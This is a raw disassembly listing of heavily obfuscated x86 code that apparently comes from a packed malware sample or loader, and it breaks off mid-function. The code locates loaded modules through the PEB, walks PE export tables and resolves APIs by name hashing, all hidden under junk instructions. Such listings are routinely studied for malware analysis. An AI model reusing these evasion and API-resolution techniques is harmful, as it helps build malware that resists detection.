pop eax retn ; --------------------------------------------------------------------------- db 57h ; W db 0BFh ; ¿ db 0EDh ; í db 0EEh ; î db 0Fh db 26h ; & db 2Bh ; + db 0D7h ; × db 5Fh ; _ db 87h ; ‡ db 8Ch ; Œ db 24h ; $ db 0FCh ; ü db 0FFh db 0FFh db 0FFh db 0E9h ; é db 9 db 0 db 0 db 0 dd 0F6EE970h, 2B7AA59Ch, 0A48C8B88h, 0FFFFFFFCh, 0BE9h dd 7462100h, 0A3D25D34h, 0FF1E59A0h, 4EC81h, 0ED680000h dd 59260FEEh, 8159D103h, 85AE2AEEh, 0FFFF6845h, 0C21FFFFh dd 0AE2AB924h, 0F1034585h, 6859h, 4010000h, 0E6F76824h dd 2B584DEAh, 0EC8358D0h, 240C8704h, 68240C8Bh, 4DEAE6F7h dd 59D10359h, 0FACEBF57h, 0C72B4B48h, 4EC835Fh, 68241C89h dd 4B48FACEh, 5BC3035Bh, 4A0BC081h, 0EC815A26h, 4, 68243489h dd 5A264A0Bh, 5EC62B5Eh ; --------------------------------------------------------------------------- loc_4048B4: ; CODE XREF: .text:004047A5j ; .text:004047B4j jmp loc_406488 ; --------------------------------------------------------------------------- push edx jmp short loc_4048BF ; --------------------------------------------------------------------------- db 3Dh, 32h, 83h ; --------------------------------------------------------------------------- loc_4048BF: ; CODE XREF: .text:004048BAj pop edx add eax, 56B04C82h add eax, 0A94FB37Eh ; =============== S U B R O U T I N E ======================================= sub_4048CA proc near ; CODE XREF: .text:loc_40649Ap var_4 = dword ptr -4 xor eax, eax lea ecx, [ecx] mov eax, fs:[eax+30h] sub ebx, 0 mov eax, [eax+0Ch] add edx, 644D0ADh sub edx, 644D0ADh add eax, 0FFFFFFFFh sub eax, 0FFFFFFFFh mov esi, [eax+1Ch] sub edx, 0A07E8D5Ch push 0 xor [esp+4+var_4], edi push 0A07E8D5Ch pop edi add edx, edi pop edi jmp short loc_404914 ; --------------------------------------------------------------------------- jmp short loc_404953 ; --------------------------------------------------------------------------- db 0E1h dd 1DF4C706h, 19606392h ; --------------------------------------------------------------------------- loc_404914: ; CODE XREF: sub_4048CA+3Dj lodsd push ecx mov ecx, edx mov ecx, ebp pop ecx mov esi, [eax+8] xchg dx, dx xchg ebx, ebx xchg cx, cx retn sub_4048CA endp ; --------------------------------------------------------------------------- sub edx, 95C1F353h add edx, 95C1F353h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404933 proc far ; CODE XREF: sub_404FE5+2B4p ; sub_404FE5+313p ... var_5E = byte ptr -5Eh var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp inc edx dec edx mov ebp, esp lea esp, [esp] dec ecx add ecx, 1 push ebx push edx jmp loc_404953 ; --------------------------------------------------------------------------- dw 0C043h dd 0EC9F3EF9h, 0D8BB4AB5h ; --------------------------------------------------------------------------- xor [esi], edx xchg eax, edi loc_404953: ; CODE XREF: sub_4048CA+3Fj ; sub_404933+Ej jmp loc_404963 ; --------------------------------------------------------------------------- test [ebp+var_5E], ch xor esi, eax imul ebp, esi, 0FA251C8Fh loc_404963: ; CODE XREF: sub_404933:loc_404953j pop edx push esi mov [esp+8+var_C], ecx jmp short loc_404973 ; --------------------------------------------------------------------------- dw 87C6h ; --------------------------------------------------------------------------- mov ah, 0DDh push edx loc_404973: ; CODE XREF: sub_404933+39j sub esp, 4 push 0D2F1BA1h pop ecx sub esi, ecx pop ecx sub esp, 4 mov [esp+10h+var_10], ebx push 0D2F1BA1h pop ebx add esi, ebx pop ebx jmp short loc_40499C ; --------------------------------------------------------------------------- fstp dword ptr [esi-556AB381h] wait cmp [ecx], dl loc_40499C: ; CODE XREF: sub_404933+5Ej jmp loc_4049B6 ; --------------------------------------------------------------------------- db 76h, 77h, 0E4h dd 5013024Dh, 7C6F4E49h, 688B5A05h, 14672681h db 0BDh, 0B2h ; --------------------------------------------------------------------------- loc_4049B6: ; CODE XREF: sub_404933:loc_40499Cj push edi jmp loc_4049C3 ; --------------------------------------------------------------------------- dd 0FEB98003h db 5Fh, 0ACh, 75h ; --------------------------------------------------------------------------- loc_4049C3: ; CODE XREF: sub_404933+84j jmp short loc_4049CE ; --------------------------------------------------------------------------- db 0Ah, 7Bh, 98h dd 4457D6F1h db 2Dh, 62h ; --------------------------------------------------------------------------- loc_4049CE: ; CODE XREF: sub_404933:loc_4049C3j jmp loc_4049D4 ; --------------------------------------------------------------------------- db 0F3h ; --------------------------------------------------------------------------- loc_4049D4: ; CODE XREF: sub_404933:loc_4049CEj mov ebx, [ebp+arg_0] push esi push ebx bsr esi, ebx rol ebx, 0Bh mov ebx, eax jmp loc_4049F1 ; --------------------------------------------------------------------------- push ebx pop esi mov ebx, ecx cmp ebp, ebp xchg esi, esi not esi dec ebx loc_4049F1: ; CODE XREF: sub_404933+AEj cmp al, 0F7h mov bx, 492Ah arpl si, bx rcr ebx, 0A0h cld pop ebx pop esi mov ecx, ebx sub esp, 4 xchg ecx, [esp+14h+var_14] pop ecx sub esp, 4 mov ecx, 0CDD61EDCh sub edx, ecx pop ecx add edx, 0CDD61EDCh jmp loc_404A2E ; --------------------------------------------------------------------------- db 0C8h, 61h, 86h dd 129D7447h, 5E99E0E3h db 3Fh, 0Ch ; --------------------------------------------------------------------------- loc_404A2E: ; CODE XREF: sub_404933+E9j jmp loc_404A3C ; --------------------------------------------------------------------------- db 55h dd 0D1F85B6Ah, 0DA43736h ; --------------------------------------------------------------------------- loc_404A3C: ; CODE XREF: sub_404933:loc_404A2Ej add ebx, [ebx+3Ch] push ecx sub esp, 4 xchg esi, [esp+0] pop esi sub esp, 4 test ecx, ebx mov si, 4992h xor ecx, ebx and ecx, 829D60h movsx ecx, si xor esi, edi lea esi, ds:809DE0h neg ecx xor ecx, edx mov esi, 8085E0h xor esi, edx shl ecx, 44h push ebp pop ecx lea esi, ds:849DE0h xchg esi, esi xchg ecx, ecx not esi mov esi, edx arpl cx, si dec ecx rep cld pop esi pop ecx mov ebx, [ebx+78h] sub esp, 4 xchg edi, [esp+14h+var_14] pop edi sub esp, 4 push 0D7023B3Ch pop edi sub edx, edi pop edi add edx, 0D7023B3Ch jmp loc_404AAA ; --------------------------------------------------------------------------- dec ebx loc_404AAA: ; CODE XREF: sub_404933+171j sub edi, 0FC1DE6h add edi, 0FC1DE6h sub esp, 4 mov [esp+14h+var_14], ecx push 21CC66C3h pop ecx sub edx, ecx pop ecx add edx, 21CC66C3h sub ebx, 39E8EB6Ch add ebx, 39E8EB6Ch jmp loc_404AE5 ; --------------------------------------------------------------------------- dd 41796B1h, 70B322EDh db 0E9h ; --------------------------------------------------------------------------- loc_404AE5: ; CODE XREF: sub_404933+1A4j push edi push 21B4079Ch pop edi sub esi, edi pop edi add esi, 21B4079Ch add ebx, ecx push esi mov esi, 0B4D04721h add edi, esi pop esi sub edi, 0B4D04721h mov edi, [ebx+20h] push edx jmp short loc_404B1F ; --------------------------------------------------------------------------- dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h ; --------------------------------------------------------------------------- xchg eax, ebx ror cl, 1 loc_404B1F: ; CODE XREF: sub_404933+1D7j pop edx add edi, ecx sub esp, 4 xchg esi, [esp+14h+var_14] pop esi sub esp, 4 push 0 add [esp+0], ecx shr esi, 0FCh cld pop ecx pop esi xor esi, esi push ebx push eax cmovl ebx, esp cmovl eax, edx xchg eax, ebx inc eax shl ebx, 0FDh rcl ebx, 43h mov eax, 80A5A0h mov ebx, edx test ecx, ebx push eax pop ebx verw ax cmp al, 0DFh cld pop eax pop ebx loc_404B66: ; CODE XREF: sub_404933+3B7j lea edx, [edi+esi*4] sub ebx, 799BEA01h add ebx, 799BEA01h mov edx, [edx] jmp short loc_404B88 ; --------------------------------------------------------------------------- db 3Dh, 32h, 83h dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h ; --------------------------------------------------------------------------- loc_404B88: ; CODE XREF: sub_404933+244j add edx, ecx sub esp, 4 mov [esp+14h+var_14], edx push edx pop dword ptr [esp+0] push 0A9F99E73h pop edx sub ecx, edx pop edx push 0 or [esp+14h+var_14], esi push 0A9F99E73h pop esi add ecx, esi pop esi xor eax, eax push ebx jmp short loc_404BBB ; --------------------------------------------------------------------------- dw 6E1h db 0C7h, 0F4h, 1Dh ; --------------------------------------------------------------------------- loc_404BBB: ; CODE XREF: sub_404933+281j pop ebx add eax, 0 loc_404BC1: ; CODE XREF: sub_404933+376j rol eax, 7 sub esp, 4 xchg edi, [esp+14h+var_14] mov edi, [esp+14h+var_14] push 0F655E9BFh pop edi sub ebx, edi pop edi add esp, 0FFFFFFFCh mov [esp+14h+var_14], esi push 0F655E9BFh pop esi add ebx, esi pop esi xor al, [edx] push ebx sub esp, 4 xchg esi, [esp+0] pop esi sub esp, 4 xchg esi, esi xor esi, esi ror esi, 0FDh xchg esi, esi arpl bx, bx movzx esi, bl push esi pop ebx dec ebx and esi, 8107E0h cmovp ebx, edi verw si test ecx, edx jbe short loc_404C21 cmp edx, edi loc_404C21: ; CODE XREF: sub_404933+2EAj mov esi, eax verw si mov ebx, 80CE40h mov si, 4930h xchg ebx, esi cld pop esi pop ebx inc edx push edi xchg ecx, [esp-4] jmp short loc_404C52 ; --------------------------------------------------------------------------- mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw push esp loc_404C52: ; CODE XREF: sub_404933+30Aj mov ecx, [esp-4] jmp short loc_404C6E ; --------------------------------------------------------------------------- db 0FDh dd 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h db 0A2h, 33h ; --------------------------------------------------------------------------- loc_404C6E: ; CODE XREF: sub_404933+326j sub esp, 4 mov cx, 4905h bsf ecx, edi clc bsr ecx, ecx mov edi, ebx and ecx, 80A520h cmp edi, 812560h test cl, dl clc shrd edi, edi, cl mov cx, 4993h xor ecx, esp imul edi, edi mov edi, esi arpl di, di verw cx cld pop ecx pop edi cmp byte ptr [edx], 0 jnz loc_404BC1 lea ecx, [ecx] cmp eax, [ebp+arg_4] jz loc_404CFE push ebx mov ebx, edi mov ebx, eax pop ebx inc esi sub esp, 4 xchg edx, [esp+0] mov edx, [esp+0] push 0 xor [esp+0], esi cmp al, 0DBh movzx edx, dh verw dx mov edx, ebp not esi mov edx, esi dec edx cld pop esi pop edx cmp esi, [ebx+18h] jb loc_404B66 jmp loc_404CFE ; --------------------------------------------------------------------------- or [ecx-224B783Ah], ah push edx and esp, [eax] loc_404CFE: ; CODE XREF: sub_404933+381j ; sub_404933+3BDj mov edx, [ebx+24h] sub esp, 4 xchg ecx, [esp+0] pop ecx sub esp, 4 add esp, 0FFFFFFFCh mov [esp+0], edi inc ecx mov cx, 48EBh mov ecx, ebx call sub_404D2D push esp cmovnz edi, eax movsx ecx, cx neg ecx inc edi sub_404933 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D2D proc near ; CODE XREF: sub_404933+3EBp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp shr ecx, 0Eh inc edi pop ebp pop edi lea ecx, ds:809F20h push edi pop edi cld pop edi pop ecx add edx, ecx sub ecx, 20F3E595h xchg ebx, [esp-10h+arg_4] jmp short loc_404D55 ; --------------------------------------------------------------------------- dw 1138h db 76h ; --------------------------------------------------------------------------- loc_404D55: ; CODE XREF: sub_404D2D+23j mov ebx, [esp-10h+arg_4] jmp short loc_404D63 ; --------------------------------------------------------------------------- dw 0E477h ; --------------------------------------------------------------------------- dec ebp add dl, [ebx] loc_404D63: ; CODE XREF: sub_404D2D+2Fj sub esp, 4 push 20F3E595h pop ebx add ecx, ebx pop ebx sub edi, 0CDC53B4Eh sub esp, 4 xchg esi, [esp-0Ch+arg_4] loc_404D7E: ; CODE XREF: sub_404D2D+B6j mov esi, [esp-0Ch+arg_4] push 0CDC53B4Eh pop esi add edi, esi pop esi jmp loc_404D92 ; --------------------------------------------------------------------------- db 5 db 5Ah, 8Bh ; --------------------------------------------------------------------------- loc_404D92: ; CODE XREF: sub_404D2D+5Dj jmp short loc_404DA3 ; --------------------------------------------------------------------------- dd 67268168h, 3B2BD14h, 5FFEB980h db 0ACh, 75h, 0Ah ; --------------------------------------------------------------------------- loc_404DA3: ; CODE XREF: sub_404D2D:loc_404D92j sub esp, 4 xchg esi, [esp-0Ch+arg_4] mov esi, [esp-0Ch+arg_4] mov esi, 2DD020F1h sub ebx, esi pop esi add esp, 0FFFFFFFCh mov [esp-0Ch+arg_4], edx push 2DD020F1h pop edx add ebx, edx pop edx movzx edx, word ptr [edx+esi*2] push edx jmp short loc_404DDE ; --------------------------------------------------------------------------- db 0F3h, 0B0h, 29h dd 0E5DC4FAEh, 61C86BBAh, 9D744786h ; --------------------------------------------------------------------------- adc ah, bl loc_404DDE: ; CODE XREF: sub_404D2D+9Ej jmp loc_404DE6 ; --------------------------------------------------------------------------- loopne loc_404D7E pop esi loc_404DE6: ; CODE XREF: sub_404D2D:loc_404DDEj jmp short loc_404DF9 ; --------------------------------------------------------------------------- aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das loc_404DF9: ; CODE XREF: sub_404D2D:loc_404DE6j pop edx mov eax, [ebx+1Ch] jmp loc_404E0B ; --------------------------------------------------------------------------- dw 0C53Ch dd 41284B1Ah db 0E6h, 27h, 0D4h ; --------------------------------------------------------------------------- loc_404E0B: ; CODE XREF: sub_404D2D+D0j add edx, 450D85C3h push 0 xor [esp-8+arg_0], eax push 450D85C3h pop eax sub edx, eax pop eax jmp short loc_404E31 ; --------------------------------------------------------------------------- dd 356C1FBEh, 0B1583BCAh, 0ED041796h db 22h ; --------------------------------------------------------------------------- loc_404E31: ; CODE XREF: sub_404D2D+F5j add eax, ecx push ebx push 0E7BC7AE9h pop ebx sub ecx, ebx pop ebx add ecx, 0E7BC7AE9h mov eax, [eax+edx*4] push 0FFFFFFFFh and [esp-8+arg_0], eax xchg esi, [esp-4] jmp loc_404E5D ; --------------------------------------------------------------------------- dw 2B7Ah db 88h ; --------------------------------------------------------------------------- loc_404E5D: ; CODE XREF: sub_404D2D+128j mov esi, [esp-4] jmp loc_404E7A ; --------------------------------------------------------------------------- and [esi+7], eax xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger adc eax, 91B81B2Ah loc_404E7A: ; CODE XREF: sub_404D2D+137j sub esp, 4 mov esi, ebp test ecx, ecx inc esi sub eax, 80CCA0h arpl si, si xor eax, eax arpl ax, ax dec eax shr esi, 2Ah xchg esi, esi xadd eax, esi dec eax cld pop esi pop eax add eax, ecx add esp, 0FFFFFFFCh mov [esp-8+arg_0], eax push 0FFFFFFFFh and [esp+0], ecx call sub_404ECD xor ecx, [edi] mov esi, 2A20B9C1h add dword ptr [eax], 0E2E0E981h add byte ptr [eax], 33h sal byte ptr [ebx], 0C5h not eax not eax cmp eax, edx inc eax sub_404D2D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404ECD proc near ; CODE XREF: sub_404D2D+181p arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_14 = dword ptr 1Ch push ebp mov ebp, esp pop ebp pop ecx neg ecx xor ecx, edi cmovge ecx, ecx xchg eax, ecx cmp esi, ebx xchg ecx, ecx xchg ecx, eax mov ecx, eax mov ecx, eax cld pop ecx pop eax pop edi push 0 xor [esp-10h+arg_8], edi sub esp, 4 mov [esp-0Ch+arg_4], edx test ecx, ebx mov di, 4957h bt edi, edx verw di lea edx, ds:808660h rep mov edx, ecx neg edx mov edx, 80A660h cmovp edi, edx cld pop edx pop edi pop esi jmp loc_404F35 ; --------------------------------------------------------------------------- dw 9382h dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h db 0 ; --------------------------------------------------------------------------- loc_404F35: ; CODE XREF: sub_404ECD+50j sub ebx, 362E1EDFh add ebx, 362E1EDFh add ebx, 0E95AA18h sub ebx, 0E95AA18h pop ebx xor eax, 0 xchg bp, bp xchg bx, bx add ecx, 0FFFFFFFFh add ecx, 1 jmp short loc_404F6A ; --------------------------------------------------------------------------- db 0E1h, 6, 0C7h dd 63921DF4h db 60h, 19h ; --------------------------------------------------------------------------- loc_404F6A: ; CODE XREF: sub_404ECD+92j xchg bp, bp add ebx, 1 add ebx, 0FFFFFFFFh sub ecx, 692B544Ah sub ecx, 96D4ABB6h leave push 0FFFFFFFFh and [esp-1Ch+arg_14], ebx push edx cmp ch, ch mov edx, 80C610h mov dx, 4917h dec ebx lea edx, ds:8090A0h not ebx verw dx mov edx, 80C6E0h push edi pop edx jmp loc_404FBE ; --------------------------------------------------------------------------- xor ebx, esp mov ebx, edx push esi pop ebx mov ebx, esi test eax, ebp cmp edx, eax lea ebx, ds:80A6E0h loc_404FBE: ; CODE XREF: sub_404ECD+DAj test al, bh cld pop edx pop ebx retn 8 sub_404ECD endp ; sp-analysis failed ; --------------------------------------------------------------------------- push 0 or [esp], esi push edi cmp edx, eax neg esi push ebx pop edi mov esi, 809220h test al, dh xor esi, ebp not esi inc edi dec edi cld pop edi pop esi ; =============== S U B R O U T I N E ======================================= sub_404FE5 proc far ; CODE XREF: sub_407191+563p var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0040600C SIZE 0000006E BYTES push ebp mov [esp+4+var_8], ebx jmp loc_404FF3 ; --------------------------------------------------------------------------- db 8Eh ; --------------------------------------------------------------------------- loc_404FF3: ; CODE XREF: sub_404FE5+8j sub esp, 4 push 0E32EBF89h pop ebx add edi, ebx pop ebx push eax mov eax, 0E32EBF89h sub edi, eax pop eax jmp loc_405013 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- test al, 0C1h loc_405013: ; CODE XREF: sub_404FE5+26j sub esp, 4 xchg edi, [esp+8+var_8] mov edi, [esp+8+var_8] push 8683BA54h pop edi sub ebx, edi pop edi add esp, 0FFFFFFFCh mov [esp+8+var_8], eax push 8683BA54h pop eax add ebx, eax pop eax sub edx, 72499CF9h mov [esp+4+var_8], ecx jmp loc_405049 ; --------------------------------------------------------------------------- dw 0B5ECh ; --------------------------------------------------------------------------- dec edx loc_405049: ; CODE XREF: sub_404FE5+5Cj sub esp, 4 push 72499CF9h pop ecx add edx, ecx pop ecx push eax mov eax, 824CF231h sub ebx, eax pop eax add ebx, 824CF231h mov ebp, esp push ebx push 2A615533h pop ebx sub edx, ebx pop ebx sub esp, 4 xchg ebx, [esp+8+var_8] mov ebx, [esp+8+var_8] mov ebx, 2A615533h add edx, ebx pop ebx add esp, 0FFFFFFFCh mov [esp+8+var_8], edx push 0ECE53C1Ch pop edx add eax, edx pop edx sub esp, 4 mov [esp+8+var_8], edx mov edx, 0ECE53C1Ch sub eax, edx pop edx jmp short loc_4050AD ; --------------------------------------------------------------------------- stosd or [ecx-224B783Ah], ah loc_4050AD: ; CODE XREF: sub_404FE5+BFj add esp, 0FFFFFFF8h add eax, 0 push esi jmp loc_4050C0 ; --------------------------------------------------------------------------- db 9Eh dd 0AA954C7Fh ; --------------------------------------------------------------------------- loc_4050C0: ; CODE XREF: sub_404FE5+D1j push edi sub ecx, 0 add edx, 0FFFFFFFFh add edx, 1 push ebx xchg ebp, ebp sub ecx, 52970784h sub ecx, 0AD68F87Ch lea ebp, [ebp+0] mov esi, [ebp+8] lea edi, [edi] sub edx, 1 sub edx, 0FFFFFFFFh add eax, 0 mov edx, [ebp+0Ch] inc ecx add ecx, 0FFFFFFFFh add esi, edx inc ebx dec ebx xchg si, si add edx, 0B188ECF3h sub edx, 0B188ECF3h add eax, 1 dec eax sub ebx, 0B5843346h sub ebx, 4A7BCCBAh loc_405119: ; CODE XREF: sub_4054AE+B10j mov eax, [esi+0Ch] push 0FFFFFFFFh and [esp+1Ch+var_1C], eax push 31B67F61h pop eax sub edi, eax pop eax push eax push 31B67F61h pop eax add edi, eax pop eax sub ebx, 60FB3912h xchg eax, [esp+18h+var_1C] jmp short loc_405159 ; --------------------------------------------------------------------------- dw 6A55h dd 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh ; --------------------------------------------------------------------------- dec ebx loc_405159: ; CODE XREF: sub_404FE5+15Fj mov eax, [esp+18h+var_1C] jmp short loc_40516D ; --------------------------------------------------------------------------- dw 4128h dd 7DD427E6h, 7940C372h db 0BEh ; --------------------------------------------------------------------------- loc_40516D: ; CODE XREF: sub_404FE5+17Bj sub esp, 4 mov eax, 60FB3912h add ebx, eax pop eax jmp short loc_405187 ; --------------------------------------------------------------------------- dw 6C1Fh dd 583BCA35h, 41796B1h db 0EDh, 22h, 0B3h ; --------------------------------------------------------------------------- loc_405187: ; CODE XREF: sub_404FE5+193j jmp loc_405197 ; --------------------------------------------------------------------------- dd 0F6EE970h, 2B7AA59Ch ; --------------------------------------------------------------------------- mov [ecx], ah inc esi loc_405197: ; CODE XREF: sub_404FE5:loc_405187j test eax, eax jz loc_40600C add eax, 2F66B82Eh add eax, 0D09947D2h add eax, edx jmp loc_4051BF ; --------------------------------------------------------------------------- dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh db 0F7h, 64h, 0CDh ; --------------------------------------------------------------------------- loc_4051BF: ; CODE XREF: sub_404FE5+1C6j jmp short loc_4051C4 ; --------------------------------------------------------------------------- db 82h, 93h, 0D0h ; --------------------------------------------------------------------------- loc_4051C4: ; CODE XREF: sub_404FE5:loc_4051BFj xchg esi, [esp+18h+var_1C] jmp loc_4051DB ; --------------------------------------------------------------------------- cld test ebx, edx or ebp, eax add [esi+323D94E7h], esp loc_4051DB: ; CODE XREF: sub_404FE5+1E6j mov esi, [esp+18h+var_1C] jmp short loc_4051F5 ; --------------------------------------------------------------------------- dd 7E390083h, 8AF52CDFh, 567118FBh, 0E2ADC4D7h db 73h ; --------------------------------------------------------------------------- loc_4051F5: ; CODE XREF: sub_404FE5+1FDj sub esp, 4 push 500DAAEFh pop esi add edi, esi pop esi sub edi, 500DAAEFh mov ebx, eax push ecx jmp loc_405216 ; --------------------------------------------------------------------------- db 65h dd 0E148EB3Ah db 6, 0C7h ; --------------------------------------------------------------------------- loc_405216: ; CODE XREF: sub_404FE5+225j pop ecx xchg esi, esi sub eax, 7A3ED3A0h sub eax, 85C12C60h sub edx, 0 xor ebx, 0 push eax sub esi, 0C1838E51h add esi, 0C1838E51h jmp loc_405248 ; --------------------------------------------------------------------------- db 24h, 8Dh, 42h dd 8E899053h ; --------------------------------------------------------------------------- loc_405248: ; CODE XREF: sub_404FE5+257j jmp loc_405256 ; --------------------------------------------------------------------------- db 0AFh, 0BCh, 45h dd 0C1A8CB9Ah ; --------------------------------------------------------------------------- cmpsw loc_405256: ; CODE XREF: sub_404FE5:loc_405248j jmp loc_405264 ; --------------------------------------------------------------------------- db 54h dd 0C043F2FDh, 0EC9F3EF9h ; --------------------------------------------------------------------------- loc_405264: ; CODE XREF: sub_404FE5:loc_405256j push 0A48D6762h jmp loc_40527D ; --------------------------------------------------------------------------- dw 4AB5h dd 1631D8BBh, 0A26D8497h, 0EE69F033h db 8Fh ; --------------------------------------------------------------------------- loc_40527D: ; CODE XREF: sub_404FE5+284j push dword ptr [ebp+10h] sub esp, 4 mov [esp+28h+var_28], edx sub esp, 4 xchg ecx, [esp+2Ch+var_2C] pop ecx sub esp, 4 inc ecx push ebx pop ecx cld pop ecx pop edx call near ptr sub_404933 push edx push 0FFFFFFFFh and [esp+2Ch+var_2C], esi cmp ebp, esp inc edx push ecx pop edx verw dx mov edx, ebp inc esi cld pop esi pop edx call eax xchg cx, cx test eax, eax jnz loc_40537F xor eax, 0 push ebx sub eax, 0A4353B62h sub eax, 5BCAC49Eh push 0C8AC8026h push ebx mov ebx, edx mov ebx, edi pop ebx push ebx jmp loc_4052EE ; --------------------------------------------------------------------------- db 38h dd 0E4777611h, 5013024Dh ; --------------------------------------------------------------------------- dec ecx dec esi loc_4052EE: ; CODE XREF: sub_404FE5+2F9j pop ebx push dword ptr [ebp+10h] sub ebx, 1 sub ebx, 0FFFFFFFFh call near ptr sub_404933 add ecx, 0F3F87C26h sub esp, 4 xchg edi, [esp+34h+var_34] pop edi sub esp, 4 push 0F3F87C26h pop edi sub ecx, edi pop edi call eax push 0 or [esp+34h+var_34], edi push 0DC7E2075h pop edi sub eax, edi pop edi add esp, 0FFFFFFFCh mov [esp+34h+var_34], ebx mov ebx, 0DC7E2075h add eax, ebx pop ebx push 0 xor [esp+34h+var_34], ebx push 0E16E3AD6h pop ebx sub esi, ebx pop ebx sub esp, 4 xchg eax, [esp+34h+var_34] pop eax sub esp, 4 push 0E16E3AD6h pop eax add esi, eax pop eax jmp short loc_405373 ; --------------------------------------------------------------------------- dw 0B0F3h dd 0DC4FAE29h, 0C86BBAE5h db 61h, 86h, 47h ; --------------------------------------------------------------------------- loc_405373: ; CODE XREF: sub_404FE5+37Fj jmp loc_40537F ; --------------------------------------------------------------------------- dd 0E3129D74h db 0E0h, 99h, 5Eh ; --------------------------------------------------------------------------- loc_40537F: ; CODE XREF: sub_404FE5+2D7j ; sub_404FE5:loc_405373j mov [ebp-4], eax sub esp, 4 xchg ecx, [esp+28h+var_28] pop ecx sub esp, 4 xchg eax, [esp+28h+var_2C] jmp loc_4053A4 ; --------------------------------------------------------------------------- db 55h dd 0D1F85B6Ah, 0DA43736h ; --------------------------------------------------------------------------- loc_4053A4: ; CODE XREF: sub_404FE5+3B1j mov eax, [esp+28h+var_2C] jmp short loc_4053B2 ; --------------------------------------------------------------------------- retn 10D3h ; --------------------------------------------------------------------------- or [esi], ecx loc_4053B2: ; CODE XREF: sub_404FE5+3C6j sub esp, 4 mov ax, 4911h xor eax, esp add eax, 80A060h cmovle ecx, esp cmovnp ecx, ecx inc ecx inc ecx xchg ecx, eax xor eax, 8188A0h cmovge ecx, esi cld pop eax pop ecx mov dword ptr [ebp-8], 0 xor ebx, 0 loc_4053E7: ; CODE XREF: sub_4054AE+9DDj mov edx, [ebp+0Ch] add edi, 7C19BEE6h sub edi, 7C19BEE6h mov [esp+24h+var_28], ecx jmp short loc_405404 ; --------------------------------------------------------------------------- db 40h dd 6C1FBE79h ; --------------------------------------------------------------------------- loc_405404: ; CODE XREF: sub_404FE5+418j sub esp, 4 push ecx pop [esp+2Ch+var_2C] push 0E23C3C3h pop ecx sub edx, ecx pop ecx push 0 add [esp+28h+var_28], ebx push 0E23C3C3h pop ebx add edx, ebx pop ebx sub ebx, 4A33D4B1h add ebx, 4A33D4B1h mov eax, [esi] sub eax, 36ED23B3h push 0 add [esp+28h+var_28], edi mov edi, 36ED23B3h add eax, edi pop edi test eax, eax jnz loc_4054D3 sub esp, 4 xchg esi, [esp+28h+var_28] pop esi sub esp, 4 sub esp, 4 xchg esi, [esp+2Ch+var_2C] pop esi sub esp, 4 pop [esp+2Ch+var_2C] push edi or esi, 808860h not esi test eax, esi not esi test cl, ah cmc lea esi, ds:80A5B0h push ebx pop esi cmp ch, dl not edi cld pop edi pop esi mov eax, [esi+10h] push eax push esi mov ax, 4A3Fh call near ptr sub_4054AE cmp [edx], bh out dx, al cmovno esi, ecx sub esi, 808860h xchg eax, esi xchg esi, esi sub_404FE5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4054AE proc far ; CODE XREF: sub_404FE5+4B4p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_41E = dword ptr 426h arg_21882B6E = byte ptr 21882B7Ah push ebp mov ebp, esp jmp loc_4054B7 ; --------------------------------------------------------------------------- dec esi loc_4054B7: ; CODE XREF: sub_4054AE+3j push ebx pop eax cmovnb eax, esi jmp loc_4054C3 ; --------------------------------------------------------------------------- push ebx pop esi loc_4054C3: ; CODE XREF: sub_4054AE+Ej test al, bh cmp ebp, edx rcr eax, 0C6h arpl ax, ax xchg eax, eax pop ebp pop esi cld pop esi pop eax loc_4054D3: ; CODE XREF: sub_404FE5+466j add eax, edx jmp short loc_4054D8 ; --------------------------------------------------------------------------- db 7Ah ; --------------------------------------------------------------------------- loc_4054D8: ; CODE XREF: sub_4054AE+27j push 0 xor [esp-0Ch+arg_4], esi push 9D724C21h pop esi sub edi, esi pop esi sub esp, 4 xchg esi, [esp-0Ch+arg_4] mov esi, [esp-0Ch+arg_4] push 0 or [esp-8+arg_0], esi pop [esp-8+arg_0] push 9D724C21h pop esi add edi, esi pop esi push ebx mov ebx, 0E31102D2h sub edx, ebx pop ebx push ecx mov ecx, 0E31102D2h add edx, ecx pop ecx add esi, 7D9552FFh sub esi, 7D9552FFh push ecx push 27B57F91h pop ecx add esi, ecx pop ecx sub esi, 27B57F91h add eax, [ebp+var_8] push edx push 0E4FBC482h pop edx sub edi, edx pop edx add esp, 0FFFFFFFCh mov [esp-0Ch+arg_4], eax mov eax, 0E4FBC482h add edi, eax pop eax add edi, 58AEF9EFh push 0FFFFFFFFh and [esp-0Ch+arg_4], eax mov eax, 58AEF9EFh sub edi, eax pop eax mov ebx, [eax] push ebx push 0F9F65CE8h pop ebx sub edi, ebx pop ebx push edx mov edx, 0F9F65CE8h add edi, edx pop edx jmp short loc_40558E ; --------------------------------------------------------------------------- db 0E7h dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch db 18h, 71h ; 